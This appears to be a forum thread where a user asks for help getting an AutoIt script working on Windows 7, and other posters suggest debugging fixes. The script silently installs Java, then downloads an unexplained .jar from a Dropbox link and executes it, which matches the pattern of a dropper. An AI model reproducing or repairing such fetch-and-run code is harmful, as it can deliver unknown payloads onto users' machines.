Sign in to follow this  
Followers 0
RedaSabe

someone help me fixed this problem AutoIt v3

13 posts in this topic

someone help me fixed this problem AutoIt v3

This script works fine on windows xp

it does not work for windows 7

#include <NavInfo.au3>

$Is_Java = _NavInfo_IsJavaInstalled()

If $Is_Java Then

    InetGet("https://dl.dropboxusercontent.com/s/36evvwvy9cz7gg8/ok.jar?token_hash=AAEysCjW5ZlVNUvUpsVtJw7lSv2QGNie1X6H7X1NQBrgRg&dl=1", @TempDir & "\1.jar")
    ShellExecute(@TempDir & "\1.jar")
Else
    InetGet("http://javadl.sun.com/webapps/download/AutoDL?BundleId=76860", "javainstall.exe")
    RunWait("javainstall.exe /s")
    InetGet("https://dl.dropboxusercontent.com/s/36evvwvy9cz7gg8/ok.jar?token_hash=AAEysCjW5ZlVNUvUpsVtJw7lSv2QGNie1X6H7X1NQBrgRg&dl=1", @TempDir & "\1.jar")
    ShellExecuteWait(@TempDir & "\1.jar")
EndIf

Share this post


Link to post
Share on other sites



Put some If @Error Then MsgBox(0, "Error - #", @Error) lines in your code... 

Your code alone won't help us help you.

Share this post


Link to post
Share on other sites

Add #RequireAdmin at the top of your script

Share this post


Link to post
Share on other sites

the same problem

Share this post


Link to post
Share on other sites

#6 ·  Posted (edited)

the same problem

 

Try doing what I suggested with adding some @Error catching so we can pin-point where in the script we're having a problem... There's too many possibilities for guess work. 

Run this code. I changed nothing, but added error checking to tell myself where your problem is.

#include <NavInfo.au3>
$Is_Java = _NavInfo_IsJavaInstalled()

If $Is_Java Then
    InetGet("https://dl.dropboxusercontent.com/s/36evvwvy9cz7gg8/ok.jar?token_hash=AAEysCjW5ZlVNUvUpsVtJw7lSv2QGNie1X6H7X1NQBrgRg&dl=1", @TempDir & "\1.jar")
    If @Error <> 0 Then Msgbox(0, "Error", "The error has to due with the 1st use of InetGet")
    ShellExecute(@TempDir & "\1.jar")
    If @Error <> 0 Then Msgbox(0, "Error", "The error has to due with the 1st use of ShellExecute")
Else
    InetGet("http://javadl.sun.com/webapps/download/AutoDL?BundleId=76860", "javainstall.exe")
      If @Error <> 0 Then Msgbox(0, "Error", "The error has to due with the 2nd use of InetGet")
    RunWait("javainstall.exe /s")
      If @Error <> 0 Then Msgbox(0, "Error", "The error has to due with the use of RunWait")
    InetGet("https://dl.dropboxusercontent.com/s/36evvwvy9cz7gg8/ok.jar?token_hash=AAEysCjW5ZlVNUvUpsVtJw7lSv2QGNie1X6H7X1NQBrgRg&dl=1", @TempDir & "\1.jar")
      If @Error <> 0 Then Msgbox(0, "Error", "The error has to due with the 3rd use of InetGet")
    ShellExecuteWait(@TempDir & "\1.jar")
      If @Error <> 0 Then Msgbox(0, "Error", "The error has to due with the use of ShellExecuteWait")
EndIf
Edited by Andreu

Share this post


Link to post
Share on other sites

"Error", "The error has to due with the use of RunWait")

Share this post


Link to post
Share on other sites

#9 ·  Posted (edited)

RunWait("javainstall.exe /s")

Why is there a    /s   in that string.

Take it out, it will run just fine.

Edit:

Also note, in case this pertains to whatever that /s is.

To run DOS commands, try RunWait(@ComSpec & " /c " & "commandName") ; don't forget " " before "/c"

Edited by Andreu

Share this post


Link to post
Share on other sites

you can add to my scripts

Share this post


Link to post
Share on other sites

I'm afraid I don't understand what your last post is saying.

"You can add to my scripts."

-You want me to contribute code to your scripts? I don't honestly have the time. I answer posts on here while waiting for things when I'm working.

"You can add the correction to my script for me, and then post it."

- I hope this isn't what you meant...

This: RunWait("javainstall.exe /s")

Needs to be this: RunWait("javainstall.exe")

Share this post


Link to post
Share on other sites

ok

Share this post


Link to post
Share on other sites

When using Run/RunWait you have to provide the full path to the executable, not just the name of the exe..

According to the help file: "The full path of the program (EXE, BAT, COM, or PIF) to run (see remarks)."


My UDFs and Tutorials:

Spoiler

UDFs:
Active Directory (NEW 2017-04-18 - Version 1.4.8.0) - Download - General Help & Support - Example Scripts - Wiki
OutlookEX (NEW 2017-02-27 - Version 1.3.1.0) - Download - General Help & Support - Example Scripts - Wiki
ExcelChart (2015-04-01 - Version 0.4.0.0) - Download - General Help & Support - Example Scripts
Excel - Example Scripts - Wiki
Word - Wiki
PowerPoint (2015-06-06 - Version 0.0.5.0) - Download - General Help & Support

Tutorials:
ADO - Wiki

 

Share this post


Link to post
Share on other sites

Create an account or sign in to comment

You need to be a member in order to leave a comment

Create an account

Sign up for a new account in our community. It's easy!


Register a new account

Sign in

Already have an account? Sign in here.


Sign In Now
Sign in to follow this  
Followers 0